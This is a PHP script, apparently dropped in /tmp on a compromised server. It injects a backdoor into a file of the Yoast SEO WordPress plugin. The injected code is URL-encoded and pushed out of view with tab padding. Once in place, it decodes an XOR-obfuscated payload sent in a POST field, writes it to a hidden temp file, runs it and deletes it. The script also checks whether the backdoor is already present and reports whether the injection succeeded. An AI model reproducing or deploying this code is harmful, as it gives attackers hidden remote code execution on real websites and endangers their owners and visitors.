File: //tmp/.content
<?php $path = '/home/corofmbe/public_html/wp-content/plugins/wordpress-seo/admin/class-yoast-modal.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_POST%5B%22%5Cx68ld%22%5D%29%29%7B%20%24item%20%3D%20%24_POST%5B%22%5Cx68ld%22%5D%3B%20%24item%20%3D%20explode%20%28%20%22.%22%20%2C%24item%20%29%20%3B%20%24dat%3D%20%27%27%3B%20%24s2%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%3D%20strlen%28%24s2%20%29%3B%20%24m%3D%200%3B%20%24len%3D%20count%28%24item%20%29%3B%20do%20%7B%20if%20%28%24m%3E%3D%24len%29%20break%3B%20%24v5%3D%20%24item%5B%24m%5D%3B%20%24sChar%3D%20ord%28%24s2%5B%24m%20%25%20%24lenS%5D%20%29%3B%20%24d%3D%20%28%28int%29%24v5%20-%20%24sChar%20-%20%28%24m%20%25%2010%29%29%20%5E%2079%3B%20%24dat%20.%3D%20chr%28%24d%20%29%3B%20%24m%2B%2B%3B%20%7D%20while%20%28true%20%29%3B%20%24holder%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20%22/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TEMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%5D%29%3B%20foreach%20%28%24holder%20as%20%24key%20%3D%3E%20%24pointer%29%20%7B%20if%20%28%28bool%29is_dir%28%24pointer%29%20%26%26%20%28bool%29is_writable%28%24pointer%29%29%20%7B%20%24ref%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24pointer%2C%20%22.token%22%5D%29%3B%20if%20%28%40file_put_contents%28%24ref%2C%20%24dat%29%20%21%3D%3D%20false%29%20%7B%20include%20%24ref%3B%20unlink%28%24ref%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');